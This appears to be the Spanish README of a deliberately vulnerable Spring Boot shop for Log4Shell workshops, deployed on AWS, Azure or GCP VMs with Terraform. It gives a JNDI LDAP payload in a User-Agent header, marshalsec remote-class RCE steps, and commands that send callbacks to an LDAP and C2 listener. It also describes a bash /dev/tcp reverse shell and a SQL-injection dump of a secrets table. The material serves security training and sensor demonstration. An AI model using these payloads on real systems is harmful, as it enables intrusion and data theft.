
Tienda Java alojada en VM intencionalmente vulnerable — Laboratorio de taller de Log4Shell (CVE-2021-44228) (EC2 / Azure VM / GCE)
Tienda clásica / tradicional intencionalmente vulnerable para talleres de seguridad — Java en una VM (EC2, Azure VM o GCP Compute Engine), no contenedores.
Historia principal: Compromiso crítico de VM — inyección SQL → Log4Shell (CVE-2021-44228) → reverse shell hacia C2 externo.
[!CAUTION] No desplegar en cuentas de producción. Mantén las VMs efímeras y con alcance de red limitado a tu laboratorio.
Jay's Surf Shop cubre entornos nativos en la nube (ECS / ACA / GKE). TraditionalJay cubre la vía host / VM:
| Surf Shop | TraditionalJay | |
|---|---|---|
| Cómputo | Contenedores / serverless | Una sola VM Linux |
| Stack | Next.js + Python | Spring Boot + Log4j2 |
| CVE destacado | Pillow, React2Shell, YAML, … | Log4Shell |
cd app
mvn -DskipTests spring-boot:run
# open http://localhost:8080
# exploit lab: http://localhost:8080/security
Se requieren Java 11+ y Maven.
/search vuelca una tabla secrets.2.14.1 hacia tu listener.bash /dev/tcp hacia tu listener C2.# listeners (reachable from the VM)
python3 tools/ldap-listen.py --port 1389
python3 tools/c2-listen.py --port 4444
# or open http://HOST:8080/security and click Run Critical VM Compromise
curl -s -X POST "http://HOST:8080/api/demo/critical-vm-compromise" \
--data-urlencode "ldap_callback=YOUR_IP:1389" \
--data-urlencode "c2_callback=YOUR_IP:4444" | jq .
Solo sonda (prueba de salida LDAP):
python3 tools/ldap-listen.py --port 1389
RCE completo (marshalsec LDAP + Exploit.class remoto; la VM se ejecuta con trustURLCodebase=true intencionalmente):
./tools/setup-marshalsec.sh
./tools/run-log4shell-ldap.sh --codebase-host YOUR_PUBLIC_IP
Luego abre /security, establece el callback LDAP a YOUR_PUBLIC_IP:1389, haz clic en Run Log4Shell. En caso de éxito, la VM obtiene /tmp/jss-log4shell-rce, /tmp/jss-log4shell-id.txt y un bash interactivo de ~45s (PTY a través de script cuando esté disponible) para demostraciones de sensores de host.
También puedes atacar la búsqueda con un User-Agent manipulado:
curl -s "http://localhost:8080/search?q=wax" \
-H 'User-Agent: ${jndi:ldap://127.0.0.1:1389/a}' -o /dev/null
Pasa las credenciales de Upwind a través del archivo terraform.tfvars local (ignorado por git). Cloud-init las exporta y scripts/install-vm.sh ejecuta scripts/install-upwind-sensor.sh.
Memoria: scanner-v2=true necesita ~7 GiB de RAM libre en el momento de la instalación (no disco). El Terraform predeterminado de AWS usa t3.large (8 GiB) + 40 GiB gp3 raíz para que el escáner no se omita (en instancias más pequeñas aparece Skipping scanner installation, requires 7000000 kB).
curl -s https://get.upwind.io/sensor.sh | \
UPWIND_CLIENT_ID=… \
UPWIND_CLIENT_SECRET=… \
UPWIND_AGENT_EXTRA_CONFIG="scanner-v2=true" \
bash -s
Ejemplo de AWS infrastructure/aws/terraform.tfvars:
upwind_client_id = "…"
upwind_client_secret = "…"
upwind_agent_extra_config = "scanner-v2=true"
Si las credenciales están vacías, la aplicación aún se instala y el paso del sensor se omite.
Flujo de trabajo de GitHub Actions .github/workflows/build.yml:
v* → lanzamiento en GitHub con el JAR gordoLas VM prefieren el último JAR de lanzamiento a través de scripts/install-vm.sh, y recurren a una compilación Maven local si aún no existe un lanzamiento. El instalador luego descomprime el JAR gordo en /opt/traditionaljay/BOOT-INF/lib/ y ejecuta JarLauncher, de modo que el SCA de host/sin agente pueda ver log4j-core-2.14.1.jar en disco (ejecutar solo java -jar app.jar anida Log4j dentro de un zip y a menudo oculta CVE-2021-44228 del inventario de paquetes).
# cut a release (triggers JAR publish)
git tag v0.1.0 && git push origin v0.1.0
Cada carpeta de nube es Terraform independiente. El primer arranque ejecuta scripts/install-vm.sh (OpenJDK 11 + JAR de lanzamiento o compilación Maven + systemd).
cd infrastructure/aws
terraform init
terraform apply
terraform output application_url
cd infrastructure/azure
terraform init
terraform apply -var="ssh_public_key=$(cat ~/.ssh/id_rsa.pub)"
terraform output application_url
cd infrastructure/gcp
terraform init
terraform apply -var="project_id=YOUR_PROJECT"
terraform output application_url
El primer arranque toma unos minutos mientras Maven compila en la instancia. Luego abre http://PUBLIC_IP:8080/security.
app/ Tienda Spring Boot + interfaz Log4Shell en /security
tools/ldap-listen.py Listener LDAP solo de banner (prueba de salida)
tools/run-log4shell-ldap.sh Servidor LDAP de RCE completo + servidor de codebase HTTP
tools/exploit/Exploit.java Payload de clase remota para marshalsec
scripts/install-vm.sh Instalador de VM manual / Cloud-init
infrastructure/aws|azure|gcp
tools/exploit/Exploit.class para Log4Shell RCE real en sandboxes aislados.-Dcom.sun.jndi.ldap.object.trustURLCodebase=true es intencional (deshabilitado por defecto en Java 11+).ldap-listen.py solo de banner permanece para la prueba de salida LDAP sin ejecución de código.0.0.0.0/0 en 22/8080 — ajusta *_ingress_cidr / rangos de origen para laboratorios compartidos.